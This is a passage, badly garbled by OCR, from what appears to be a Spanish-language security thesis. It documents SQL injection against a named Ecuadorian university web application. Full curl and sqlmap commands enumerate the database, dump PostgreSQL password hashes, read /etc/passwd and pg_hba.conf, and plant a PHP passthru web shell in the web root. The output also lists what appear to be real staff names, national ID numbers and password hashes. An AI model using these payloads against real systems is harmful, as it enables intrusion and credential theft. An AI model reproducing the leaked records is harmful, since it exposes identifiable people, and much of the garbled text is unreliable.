URL usuario 2222222222 el vl I T PRA/ O

Coolde PHPSESSID lofsfts9ti01e13j4708hjus3s Up Expires: Th:. 19 No_; i9“ 08:52:00 GHT

Cache-Control: no-store, no-cache, must-revalidate
Down | Pragea: no-cache

— Content-Length: 818

Connection: close

Content-Type: text/htsl; charsetsUTF.§

<table borders'0" widthe'99%'><tr ide'filamescalendario’»><td colspane'2'>Fondos de
1a Universidad:</ colspane*2°»</ t

height="2" colspa anescalenda
aligne‘center'»§ « &nb: t:
aligne'right '»<b>&nbsp;$ 06nbsp; <
border="0"> td height=*5" colspa
id="tablal*>Facultad:< d widthe"150px" colspane
320px;* 1dw"se a facultad® onChanges"cargaselec
*»6nbsp;Elige. option»</selectr</tdr</trax,
colspane*2*»</
>Autogestiboacute,
2*></td></tra</tablex

b

wadthe"98%"

width="150px*

elect styles"wadth:
"> n values'

-

Figura 96. Inyeccion SQL identificada en el parametro usuario. (Elaborado por el autor)

Determinando el nimero de columnas
Para determinar el nimero de columnas se hace uso de la cldusula order by, cuya
funcién es ordenar los campos por columna, a continuacion, se tratara de ordenar la

sentencia hasta que genere un error en la base de datos.

64



'order by 1-- NO ERROR

Go Cancel < 24e

Request

- Headers | Hex

GET request to /sme/cargaselect php

| Type | Nome | Value
URL i

URL fecha

| URL usuario

Cooloe PHPSESSID

| <table borders'0' widths'99%'><tr ids'filasescalendario’><td colspane'2'>Fondos de

Target: https://www.sianet.ueb.edu.ec LIJ @

Response

Inemu Hex | HTML | Render

HTTP/1.1 200 OK
Date:

Server: Apache/2,4.6 (Cent0S) OpensSL/1.0,2k-fips PHP/7.0.32
Strict-Transport-Security: max-age=63072000: includeSubdosains
X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-Powered-By: PHP/7.0.32

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, mo-cache, must-revalidate

Pragsa: no-cache

Content-Length: 4736

Connection: close 4
Content-Type: text/htal; charseteUTF-8

=)

1a Universidad:</tds</tra<tro<td height="2" colspans"2"></td></tr><tr
1dw"decoracionfila2’ »<td»bnbsp;nbsp;6nbsp;snbsp;</tdr<td aligne'right’
widthe'100' >éabsp;$ Obnbsp;</td»</tractr
sdu"decoracionfilal><td>bnbsp;&nbsp;bnbsp;Snbsp;</td><td align='right’
widthe'100" >&absp;$ 0bnbsp;</td></tretr

1de"decoracionfila2 »<td»bnbsp;6absp;bnbsp; babsp;</tdr<td align='right’
widthe'100' »&absp;$ 0bnbsp;</tdr</trr<tr
1d="decoracionfilal ' ><td>bnbsp;&nbsp;bnbsp;nbsp;</td><td align='right’
widthe'100" >6absp;$ Oknbsp;</tds</traetr

1d="decoracionfilal' »<td>&nbsp;4nbsp; bnbsp;Gnbsp;</tdr<td align='right’
widthe'100° »bnbsp;§ Oknbsp;</tdr</tractractd herght="2" colspans®2*»</tda</tractr
1ds"filamescalendario’»><td

aligne'center ' >Gnbsp;nbsp; <b>Totale/boGab bsp; </td><td

1ght '><b>gnbsp;$ Oknbsp;</br</tdr</tro<tra<td heighte"5"
*2"»6nbsp;</td></tra<table borders'0’ wadthe'99%'»<tr

1de" filamescalendario’><td colspans'2'>CONTABILIDAD Y AUDITORIA €
Pe/tds</te>etro<td height=*2" colspane®2*></td></traetr

T

Figura 97. Error no generado al tratar de ordenar la primera columna. (Elaborado por el autor)

' order by 2-- NO ERROR

Go Cance! > Target: https://www.sianet.ueb.edu.ec w GJ

Request Response

m Params | Headers | Hex l,g—l-"_AINMcrs Imx HTML | Render

GET request to /sme/cargaselect php ::I:’ 1.1 200 0K ,;

T | Name Valve Server: Apache/2.4.6 (Cent0S) OpensSL/1.0.2k-fips PHP/7.0.32

U:T 7] ‘1 I LLJ S(;x<t~¥rlnwort-$;cvrny: max-2ges63072000; includeSubdomains
X-Frase-Options: DENY

e il PR Remove X-Content-Type-Options: nosniff

URL usuaro 2222222222'order by 2+ X-Powered-By: PHP/7.0.32

Conlde RFSESD fofshsSOLELof7o0uass v Expires: Thu, 19 Nov 1981 08:52:00 GHT
Cache-Control: no-store, no-cache, must-revalidate

Down Prages: no-cache
Content-Length: 1849
Connection: close
Content-Type: text/htal; charsetsUTF-8
| <table borders'0' widthe'99%'>«tr ide'filamescalendario’><td colspan='2'>Fondos de

1a Universidad:</td></tra<tr><td height colspans"2"></td></tractr
1de'decoracionfilal’ »<td»bnbsp;bnbsp;éabsp;bnbsp; </tdr<td aligne'raght’
width='100" >&absp;$ 08nbsp;</td></tractr
1de‘decoracionfilal'><td>bnbsp;bnbsp;énbsp;bnbsp; </tdr<td aligne'raght’
width='100" >&absp;$ 0&nbsp;</td></tra<tr
1d«‘decoracionfilal ' »<td>bnbsp;bnbsp;éabsp; bnbsp; </tdx<td aligne'right’
width='100" >&nbsp;$ 0knbsp;</tds</tro<tr
1d‘decoracionfilal’><td>4nbsp;bnbsp;bnbsp;nbsp;</td><td aligne'raght’
width='100" >&absp;$ 0&nbsp;</td></tra<tr
1d="decoracionfilal ' ><td>bnbsp; bnbsp; énbsp;nbsp; </td><td aligne'
width="100" >&absp;$ 0&nbsp;</td></tractra<td height="2" colspan=*2s></td></tro<tr
1d=' filamescolendario »<td
aligne'center‘>&nb bsp; <b>Total</bxGnb: bsp;</td><td
aligns'right '><b>bnbsp;$ 0babsp;</b></td></troctractdetable wadths"98%"
borders"0"s><tr><td heighte"5" colspans="4*></tds</tr><tr><td width="150px"
1d="tablal*>Facultad:</td><td width="150px" colspane*3*><select styles"width:
320px:" 1dw*select 2 nases"facultad® onChanges"cargaselect(id)><option values' v

Figura 98. Error no generado al tratar de ordenar la segunda columna. (Elaborado por el autor)

Al parecer ha generado un error en la base de datos al tratar de ordenar la tercera

columna, esto se identifica claramente al observar en la respuesta, esto explica que

solo existen dos columnas.
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' order by 3—ERROR

Go | <o v Target: https://www.sianet.ueb.edu.ec |/ 7
Request Response
[ Raw | Params | Headers | Hex | Raw | Headers | Hex | HTML | Render |
GET request to /sme/cargaselect php ;"P/l.l 200 OK x
ate:
Type Name Value Add Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/7.0.32
URL W 1 st Transport-Security: max-age=63072000: includeSubdomains
. X-Frame-Options: DENY
URL fechs 15/03/2013 Remove X-C Type-Options: nosniff
URL usuario 2222222222 order by 3~ — - Poered B PRI 53
Cookie PHPSESSID iofsfts9ti0]e13j4708hjuB35 ™ Sl T 19 How 1981 08:53:08. 6T
: no-store, no-cache, must-revalidate
Down
'''''''''' -/ Content-Length: 818
Connection: close
Content-Type: text/htal:
<table border='0" w.
la Universidad:</
320 1¢
>&nbsp; Elige
height="2" cols; 2%></
colspans'2'>Autogestisoacy
colspans*2"»</td»< ftab
-
A\

Figura 99. Error generado al tratar de ordenar la tercera columna. (Elaborado por el autor)

Enumerando informacion de la base de datos
Descubierto el nimero de columnas es momento de enumerar informacion de la
base de datos, se utilizé curl para este proposito, hay que tener en cuenta que la
consulta que se envia como parte de la solicitad por el método GET tiene que estar
en codificacion URL, mediante bash se filtr6 la respuesta de las solicitudes,
mostrando asi solo la informacién de interés.
La utilidad hURL se uso6 para codificar las sentencias, el proceso se muestra en la
siguiente grafica.

:~# hURL -U "' and 1=2 union select 1,version()--

1 : ' and 1=2 union select 1,version()-- -

URL ENcoded :: %27%20and%201%3D2%20union%20select%201%2Cversion%28%29--%20-

Figura 100. Codificacion URL con hURL. (Elaborado por el autor)

Enumerando el usuario de la aplicacion
La consulta utilizada para obtener el usuario que usa la aplicacion para conectarse
a la base de datos fue:

' and 1=2 union select 1,user--

:~# curl -k --silent "PHPSESSID=iofsfts9tl01el3j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%

201%3D2%20union%20select%201%2Cuser--" | cut -d ";" -f 11 | awk -F"&" '{print $1}'

Figura 101. Usuario actual de la aplicacion. (Elaborado por el autor)

66



Enumerando la version de la base de datos
La sentencia que se utilizo para obtener la version de la base de datos fue:

' and 1=2 union select 1,version()--

:~# curl -k --silent "PHPSESSID=iofsfts9t101e13j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%
201%3D Ounion%20select%201%2Cversion%28%29--%20-" | cut -d “;" -f 11 | awk -F"&"

{print $1}°'
Postgresql 10.6 On X86 64-pc-linux-gnu, Compiled By Gcc (gcc) 4.8.5 20150623 (red Ha

Figura 102. Version de la base de datos. (Elaborado por el autor)

Enumerando la base de datos de la aplicacion
La consulta realizada para obtener la base de datos actual de la aplicacion fue:

' and 1=2 union select 1,current_database()--

:~# curl -k --silent "PHPSESSID=iofsfts9tl01el13j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%

201%3D2%20union%20select%201%2Ccurrent database%28%29--" | cut -d ";" -f 11 | awk -F
'‘{print $1}'

Figura 103. Base de datos actual de la aplicacion. (Elaborado por el autor)

Enumerando usuarios con privilegios elevados
La consulta realizada para identificar los usuarios con privilegios elevados fue:

' and 1=2 union select 1,usename from pg_user where usesuper is true--

:~# curl -k --silent "PHPSESSID=iofsfts9tlolel3j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%
201%3D2%20union%20select%201%2Cusename%20from%s20pg user%s20where%s20usesupers20is%20tr

"\n" | grep *“[a-Z] | cut -d "&" -f 1 | grep -v "[. | >]$"

Figura 104. Usuarios con privilegios elevados. (Elaborado por el autor)

Enumerando hashes de contrasefa de los usuarios de la base de datos
Tras indicar los altos privilegios asignados al usuario de la base de datos, fue posible
enumerar los hashes de contrasefia, la peticion realizada fue:

' and 1=2 union select 1,(usename||' : '||passwd) from pg_shadow--

:~# curl -k --silent "PHPSESSID=iofsfts9t101el3j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%

201%3D2%20union%20select%201%2C%28usename%7C%7C%27%20%3A%20%27%7C%7Cpasswd%29%20f rom
%20pg shadow--" | tr ";" "\n" | grep "“[a-Z] | cut -d "&" -f 1 | grep -v "[. | >]$"
Academico : Md51a4f8884 43847dd37347d9cbh

Postgres : Md5c4bde622ai 927dfeaed769ee3

Figura 105. Hashes de contrasefia de los usuarios de la base de datos. (Elaborado por el autor)
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2.4.2. Extrayendo informacion de la base de datos
Extrayendo tablas de la base de datos
Obtenida la informacion necesaria sobre la base de datos, es fundamental tomar en
cuenta ciertos conceptos sobre las tablas presentes en information schema, que es
de donde se extraera los datos.
information_schema: este posee un conjunto de vistas que contienen informacioén
sobre la base de datos actual.
information_schema.tables: esta tabla contiene los nombres de tablas en la base
de datos.
La siguiente consulta se emiti6é para que devuelva todas las tablas presentes en el
esquema public.
' and 1=2 union select 1,table name from information_schema.tables where

table_schema='public' order by 2--

lect%s201%2Ctable ne%s20froms20information sche
%27public%s27%200rder%s206by%s202--" | tr ";"
grep -v "[. | >]1s$"

F: tion docente
Accion personal
demicos
estudiantes

gnatura horario
gnaturas
gnaturas comunes
tencia control estud
encia docente
stencia estudiante
x asignatura docente
Aux asignaturas seleccionadas
Aux campos doce
Aux hora doce
Calendario academico

Figura 106. Tablas recuperadas del esquema public. (Elaborado por el autor)

= aux rubros
aux rubrosl
aux_vincu
iepar info aux
estu aux
estu auxl
estu hora
Sueldo basico
Tabla ptos
Tema
Tesis
Th personal
Th personal academico

Th personal cursos

Th personal experiencia
Th personal vaca

Tipo ptos

Titulo

Tribunal

Unidad

Veri usuarios

Figura 107. Tablas recuperadas del esquema public. (Elaborado por el autor)
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Extrayendo columnas de la tabla usuarios

Enumerado todas las tablas disponibles, se descubrio la tabla usuarios, esta resulta
interesante debido a que contiene las credenciales de los usuarios del sistema, la
consulta realizada para este proposito fue:

' and 1=2 union select 1,column_name from information_schema.columns

where table_schema='public' and table_name="usuarios'--

:~# curl -k --silent "PHPSESSID=iofsfts9t101el3j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%
201%3D2%20union%20select%201%2Ccolumn name%20from%20information schema.columns%2@whe
re%20table schema%3D%27public%27%20and%20table name%3D%27usuarios%27--" | tr ";" "\n

| grep “[a-Z] | cut -d "&" -f 1 | grep -v "[. | >]$

Apell user
Ci user
Clave

Nom user

Figura 108. Columnas recuperadas de la tabla usuarios. (Elaborado por el autor)

Extrayendo datos de las columnas

Descubierto las columnas, es momento de recuperar los registros de la tabla
usuarios, la consulta realizada fue:

'and 1=2 union select 1,(nom_user]||' : '||apell_user||' : '||ci_user||' : '||clave) from

usuarios order by 2--

:~# curl -k --silent "PHPSESSID=iofsfts9tl01lel3j4708hju835" "https://www.sian
et.ueb.edu.ec/ /cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%2 0and%
201%3D2%20union%20select%201%2C%28nom user= 0%3A%20%27%7C%7Capell use 57
C%27%20%3A%20%27%7C%7Ccl user%s7C%7C%27%20%3A 527%7C%7Cclave%29%20f rom%s20usuarios%2
Oorder%20by%202--" | tr ";" "\n" | grep “[a-Z] | cut -d "&" -f 1 | grep -v "[. | >]$
Aaaa : Aaa : 0202105102 : 4420c472d6718072a5a438857
Admin : Admin : 2222222222 : 38686fa3801b4c7d22c6fde
Adolfo Antonio : Garcia Davila : 0200038602 : F5fc58 d914cb5d32d5d9261
Adolfo Luis : Ballesteros Espin : 0200404051 : 49640 a25¢5582394d6c96e3
Adrana Natali : Borja Jimenez : 0201794682 : Dc0591 21433c5e02dd897d
Adriana Rebeca : Piedra Uribe : 0917844656 : 6badad 2e0d18f252ef19ac
Aida Dolores : Urbano Borja : 0201128113 : 0473aclo@a deb8b348bfb4b3
Aida Isabel : Jaya Escobar : 0200798254 : E62eaab0dl efdel3ec8792d
Aideé del Consuelo : Montero Taco : 0201092376 : 8d 6769053d470T03a88414
Alban Alban : Nancy Maritza : 0200715522 : 51ele02 860add4f755ef8a
Alban Barrionuevo : Anita Victoria : 0201174521 : 6d31f3f1f2e353b313ela
Alberto Benigno : Carrera Guerra : 0200518637 : 193908c5fbadae823ell
Alberto Guillermo : Armijos Rivera : 0201638863 : 78b78159fc9f05930d6a3
Alberto Mauricio : Chavez Lépez : 0201072337 : A563 f3c749971c659c8f9%e
Alcides Mauricio : Naranjo Ramos : 0201958782 : 925d af0e43f560619a51512
Alejandra Elizabeth : Barrionuevo Mayorga : 18041560 abef8ee8f91163d18f9c351
49bfa
Alejandrina del Rosario : Guerra : 0201205127 : 422 a6373a3e3edacf83391
Alexander : Cardenas Lara : 0201566783 : Dd2214lacb ed773729¢98f

Figura 109. Credenciales de docentes recuperados de la tabla usuarios. (Elaborado por el autor)
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Leyendo archivos

Declaracion COPY

Este operador copia datos entre un archivo y una tabla. El motor PostgreSQL accede
al sistema de archivos local como el usuario postgres.

Para llevar a cabo este proceso primero hay que crear una tabla, la sentencia que se
utilizo fue:

' and 1=2; create table myfile(t text)--

:~# curl -k --silent "PHPSESSID=iofsfts9t101e13j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%

201%3D2%3B%20create%20table%20myfile%28t%20text%29--"

Figura 110. Creacion de la tabla myfile. (Elaborado por el autor)

Posteriormente se procede a copiar el contenido del archivo passwd en la tabla
myfile, esto es posible debido a que este fichero tiene permisos de lectura para todos
los usuarios, la siguiente consulta se utiliz6 para esta finalidad:

'and 1=2; copy myfile from '/etc/passwd'--

:~# curl -k --silent "PHPSESSID=iofsfts9t101e13j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%

201%3D2%3B%20copy%20myfile%20from%20%27%2Fetc%2Fpasswd%27 - - "

Figura 111. Copia del contenido del archivo passwd a la tabla myfile. (Elaborado por el autor)

La siguiente consulta se emitio para listar los usuarios del sistema contenido en la
tabla myfile.

' and 1=2 union select 1,t from myfile--

:~# curl -k --silent "PHPSESSID=iofsfts 9t101p13]4700h]u8?5 "https://
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha= 15/03/7013r
201%3D2%20union%20select%201%2Ct%20from%20myfile- | Er

‘{print $1}' | grep -v > S I el [ = g (:uppev.

:0:0:root:/root:/bin/bash
bin:/bin:/sbin/nologin
sbin:/sbin/nologin
:/var/adm:/sbin/nologin

’sbin:/bin/sync
:6:0: tdown:/sbin:/sbin/shutdown
:halt:/sbin:/sbin/halt
2:mail:/var/spool/mail:/sbin/nologin
1:0:0perator:/root:/sbin/nologin
:100: qames /usr/games:/sbin/nologin
: p:/sbin/nologin

postgr 26:2 D rver:/var/lib/pgsql:/bin/bash
che 48 48: apa(hc /ufr/Jl re/httpd:/sbin/nologin
x:59:59:account used by the trousers package to sandbox the tcsd daemon:/dev/nul
bin/nologin
:74:74:privilege-separated ssh:/var/empty/sshd:/sbin/nologin

dbus:x:
postfix:x: ~
nobody:x:99:99:nobody:/:/sbin/nologin

Figura 112. Consulta realizada para recuperar los usuarios de la tabla myfile. (Elaborado por el

autor)
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Funcion pg_read_file

Esta funcion se introdujo en PostgreSQL 8.1 y permite leer archivos ubicados dentro
del directorio de trabajo del gestor de base de datos.

La siguiente consulta permitié obtener informacion del archivo de configuracion
del gestor de base de datos.

' and 1=2 union select 1,pg_read_file('./pg_hba.conf")--

# curl - - - e "PHPSESSID=iofsfts9tl0lel3j4708hju835" "https://www.sian
et.ueb.edu.ec/sm arg - php?7id=1&fecha=15/03/2013&usuario=2222222222%27%20and%
201%3D2%20union < % pg read file 5 s2Fpg hba.conf%27%29--" | tr "&"
\NR® || cut =d" =y* = -v. ‘[ 97)

ql Client Authentication Configuration File

I % W W%

Refer To The "client Authentication" Section In The Postgresql
Documentation For a Complete Description Of This File. a Short

This File Controls: Which Hosts Are Allowed To Connect, How Clients
Are Authenticat Which Postgresql User Names They Can Use, Which
Databsz s They Can Access. Records Take One Of These Forms:

Local Data se  User Method [options]

Host Database User Addres Method [options]
Hostssl Database User Addr Method [options]
Hostnossl Database User Address Method [options]

LI R

(the Uppercase Items Must Be Replaced By Actual Values.)

3% % W %K

The First Field Is The Connection Type: "local" Is a Unix-domain
Socket, "host" Is Either a Plain Or Ssl-encrypted Tcp/ip Socket,

#*

Figura 113. Lectura del archivo de configuracion de PostgreSQL. (Elaborado por el autor)

Put Your Actual Configuration Here

If You wWant To Allow Non-local Connections, You Need To Add More
"host" Records. In That Case You Will Also Need To Make Postgresql
Listen On a Non-local Interface Via The Listen addresses

Caution: Configuring The System For Local "trust" Authentication
Allows Any Local User To Connect As Any Postgresql User, Including
The Database Superuser. If You Do Not Trust All Your Local Users,

Type Database User Address Method

# "local" Is For Unix Domain Socket Connections Only

Local All All Trust
# Ipv4 Local Connections:

Host All All 127 € 5 Md5
Host All All 0. . Md5

# Ipv6 Local Connections:

Host All All ::1/128 Mds

# Allow Replication Connections From Localhost, By a User With The
#local Replication All Trust
#host Replication All 127.0.0.1/32 Trust
#host Replication All ::1/128 Trust

Figura 114. Lectura del archivo de configuracion de PostgreSQL. (Elaborado por el autor)

Escribiendo archivos
Al revertir la declaracion COPY, se puede escribir el contenido de una tabla en el

sistema de archivos local con los derechos del usuario PostgreSQL.
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Se cre6 la tabla mytable, la sentencia utilizada fue:

' and 1=2; create table mytable(t text)--

:~# curl -k --silent "PHPSESSID=iofsfts9t101el3j4708hju835" "https://www.sian

et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%
201%3D2%3B%20create%20table%20mytable%28t%20text%29--"

Figura 115. Creacion de la tabla mytable. (Elaborado por el autor)

El préximo punto es ingresar en la tabla cddigo php que permita ejecutar comandos
en el sistema, la funcion passthru acepta el comando como un parametro y genera

el resultado, la consulta que se utilizo fue:

' and 1=2; insert into mytable(t)
values ('<?php passthru($_GET["cmd"]); ?>'")--

:~# curl -k --silent "PHPSESSID=iofsfts9tl0lel3j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%

1%3D2%3B%201insert%20into%20mytable%28t%29%20values%20%28%27%3C%3Fphp%20passthru%28
%24 GET%5B%22cmd%22%5D0%29%3B%20%3F%3E%27%29- - "

Figura 116. Ingreso de cddigo php en la tabla mytable. (Elaborado por el autor)

A continuacion, hay que copiar el contenido de la tabla en un directorio web con
permisos de escritura, en este caso se copio al Document Root del usuario apache,
la siguiente consulta se emitid para este proposito:

'and 1=2; copy mytable (t) to '/var/www/html/shell.php'--

:~# curl -k --silent "PHPSESSID=iofsfts9tl0lel3j4708hju835" "https://www.sian
et.ueb.edu.ec/sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222%27%20and%

201%3D2%3B%20copy%20mytable%20%281%29%2010%20%27%2Fvars2Fwww%2Fhtml%2Fshell. php%27- -

Figura 117. Copia del contenido de la tabla myfile al Document Root de apache. (Elaborado por el

autor)

Se comprobo la posibilidad de escribir contenido en un archivo en el directorio web,
este hecho fue posible debido a los permisos de escritura en el directorio y por los
permisos elevados asignado al usuario que utiliza la aplicacion para conectarse a la
base de datos, el comando id enviado como parametro muestra el usuario con el que

se estd ejecutando comandos del sistema.

Cc ® é htt NWW ueb.edu.ec

£+ Most Visited || Offensive Security Kali Linux Kali Docs Kali Tools Exploi

uid=48(apache) gid=48(apache) groups=48(apache)

Figura 118. Usuario con el que se estd ejecutando comandos del sistema. (Elaborado por el autor)
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El comando pwd enumera el directorio de trabajo actual

I G o OF >% : VWW ueb.edu.ec

£+ Most Visited [| Offensive Security Kali Linux Kali Docs Kali Tools Exploit-D|

/var/www/html

Figura 119. Directorio de trabajo actual. (Elaborado por el autor)

2.4.3. Inyecciones de SQL automatizadas con sqlmap
Sqlmap es una de las mejores herramientas para explotar vulnerabilidades de
inyeccion SQL. Es compatible con muchas bases de datos y ayuda no solo a
enumerar y extraer informacion, sino también a ejecutar comandos del sistema.
Enumerando las bases de datos
El primer paso seria, obviamente, enumerar todas las bases de datos presentes en la
aplicacion. Se utiliz6 la siguiente instruccion para este proposito:
sqlmap -u

'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php ?id=1&fecha=15/03/2

013&usuario=2222222222' -p usuario --
cookie="PHPSESSID=a64q6ep4blvluhmb7pr3so0gd7’ --
dbms=POSTGRESQL --dbs

# sqlmap - /www.sianet.ueb.edu.ec:443/sme/cargaselect.phpzid=1&fec
ha=15/03/2013&usu p ' -p usuario --cookie='PHPSESSID=at64q6ep4blviuhmb7pr
3s00gd7"' dbms=POSTGRESQL -dbs

attacking target ithout prior mutual con
p = ponsibility to ob all applicable local,
federal 1 2veloper assume no liability and are not responsible for an
se or damage c: ed by this program

starting at 21:26:49

] testing connection to the target URL
] testing if the target URL content is stable
] [ ] target URL content is stable
] [WARNING] heuristic (basic) test shows that GET parameter ‘usuario' might
not be injectable |

Figura 120. Comando utilizado para recuperar las bases de datos con sqlmap. (Elaborado por el

autor)

A continuacion, se observa que la herramienta a identificado el sistema gestor de

base de datos y el parametro usuario identificado como vulnerable.

[ ] target URL appears to have 1 column in query

[ ] target URL appears to be UNION injectable with 1 columns

[ ] checking if the injection point on GET parameter ‘'usuario' is a fa
lse positive

GET parameter ‘usuario' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N]l vy

Figura 121. Parametro usuario vulnerable identificado con sqlmap. (Elaborado por el autor)
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Ha recuperado tres bases de datos disponibles, especifica que utilizo la técnica de
inyeccion SQL a ciegas basado en tiempo, ademds proporciona informacién del

servidor y sus componentes.

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queri (comment)
Payload: id=1&fecha=15/03/2013&usuario 22"' ;SELECT PG SLEEP(5) - -

[ ] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux CentO0S 7-1708
we application technology: Apache 2.4.6, PHP 7.0.32
back-end DBMS: PostgreSQL
[ Iy NG] schema name ar g . & d on PostgreSQL for enumeration
as the counterpart to datab
[ } G | ] fetching datab
[ TR ] fetching number
[ 1 I IG] running in a sing - : =) consider usage of optio
n '--threads faster data retrieval
[ retriev
[ ] retrieved:
] retrieved:
[ ] retrieved:
available databases [3]:
[*] information schema
[*] pg catalog
[*] public

[ ]
[ ]
[ 1
]

[ 1 [ ] fetched data logged to text files under '/root/.sqlmap/output/www. |
sianet.ueb.edu.ec’

Figura 122. Bases de datos identificadas con sqlmap.

Enumerando tablas

Se eligio el esquema public, debido a que en esta se suele almacenar por defecto la
informacion, la instruccion utilizada para recuperar las tablas fue:

sqlmap -u
'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php ?id=1&fecha=15/03/2
013&usuario=2222222222' -p usuario --
cookie="PHPSESSID=a64q6ep4blvluhmb7pr3so0gd7' --
dbms=POSTGRESQL -D public —tables

# sqlmap -u
ha=15/03/2013&usuario=222 ; ario --cookie='PHPSESSID=a64q6ep4blviuhmb7pr
3s00gd7*' --dbm OSTGRESQL -D public --tables

//sqlmap.org

sqlmap for attacking targets without prior mutual con

responsibility to obey all applicable local, s

Develope assume no liability and are not responsible for an
ed by this program

[*] starting at 21:37:46

[ I | ] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: usuario (GET)
Type: boolean-based blind
TiL AND boolean-based blind - WHERE or HAVING clause
Payload: id=1&fecha=15/03/2013&usuario=22222222 ' AND 2006=2006 AND 'cVAQ'='cVA

Figura 123. Comando utilizado para recuperar las tablas con sqlmap. (Elaborado por el autor)
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La siguiente grafica revela 175 tablas existentes.

estudiantes

estud

nte
1te
eccionadas

Figura 124. Tablas recuperadas con sqlmap. (Elaborado por el autor)

Enumerando las columnas de la tabla usuarios
Por razones obvias, la que provoca mas interés es el contenido de la tabla usuarios,

se emitid la siguiente instruccion para extraer las columnas presentes.

sqlmap -u
'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php?id=1&fecha=15/03/2
013&usuario=2222222222' -p usuario --

cookie="PHPSESSID=a64q6ep4blvluhmb7pr3so0gd7' --
dbms=POSTGRESQL -D public -T usuarios -columns

:~# sqlmap -u 'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php?id=1&fec
ha=15/03/2013&usuario=2222222222"' -p usuario --cookie='PHPSESSID=a64q6ep4blviuhmb7pr
35009d7' --dbms=POSTGRESQL -D public -T usuarios --columns

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual con
sent is illegal. It is the end user's responsibility to obey all applicable local, s
tate and federal laws. Developers assume no liability and are not responsible for an
y misuse or damage caused by this program

[*] starting at 22:41:40

[ ] ] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Figura 125. Comando utilizado para recuperar las columnas con sqlmap. (Elaborado por el autor)
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Se ha encontrado cuatro columnas en la tabla usuarios.

Database: public
Table: usuarios
[4 columns]

apell user varchar
ci user varchar
clave varchar
nom user varchar

Figura 126. Columnas de la tabla usuarios descubiertas con sqlmap. (Elaborado por el autor)

Extrayendo datos de la tabla usuarios

Ahora se le pedira a sqlmap que muestre la informacion presente en las columnas.
Para este proposito, se uso la siguiente instruccion:

sqlmap -u

'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php ?id=1&fecha=15/03/2

013&usuario=2222222222' -p usuario --
cookie="PHPSESSID=a64q6ep4blvluhmb7pr3so0gd7’ --
dbms=POSTGRESQL -D public -T usuarios -C

apell_user,nom_user,ci_user,clave —dump

:~# sqlmap -u 'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php?id=1&fec
ha=15/03/2013&usuario=2222222222"' -p usuario --cookie='PHPSESSID=a64q6ep4blviuhmb7pr
3s500gd7' --dbms=POSTGRESQL -D public -T usuarios -C apell user,nom user,ci user,clav
e --dump

—H
SR |- ) SR -
=) T O
A R (U Y I ] (R

[_lV |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual con
sent is illegal. It is the end user's responsibility to obey all applicable local, s
tate and federal laws. Developers assume no liability and are not responsible for an
y misuse or damage caused by this program

[*] starting at 22:45:35

[ ] [ ] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Figura 127. Instruccion utilizada para recuperar el registro de la tabla usuarios. (Elaborado por el

autor)

Extraido la informacion de los usuarios, la herramienta sugiere si se quiere usar
algin diccionario para tratar de romper los hashes de contrasefia, en este caso se ha

seleccionado el archivo predeterminado en la herramienta.
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what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file

[3] file with list of dictionary files

> 1

[ ] [ ] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] yl

Figura 128. Lista de diccionarios a elegir con sqlmap. (Elaborado por el autor)

La informacidon recuperada de la tabla usuarios proporciona las credenciales de

acceso a la aplicacion, revelando la existencia de contrasefias débiles.

Figura 129. Registros obtenidos de la tabla usuarios con sqlmap. (Elaborado por el autor)

2.4.4. Cracking de contraseiias
Obtenido los hashes de contrasefia de los usuarios, se ha identificado el tipo de
encriptacion MDS5, para romper las contrasefias se puede realizar mediante motores
de busqueda o con John the Ripper.
En algunos casos Google puede ser de mucha ayuda para estos propdsitos, en la
siguiente imagen se observa la posible contrasefia para el hash definido en el cuadro

de busqueda.
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bcd41f31c39db2539406042c1c3e10508 Q.

Todo magenes Videc Maps MNot as Mas Preferencias Herramientas

61194 - Requested MD5 Hash queue
md5Sthis.com/list.php?page=61194&key=1&author... + Traducir esta pagina

Added: Tue 28th Sep,2010 05:03 pm, Hash: bcd4f31c39db2539406042c1c3e10508, Plain: 16041969
Added: Tue 28th Sep.2010 05:03 pm. Hash

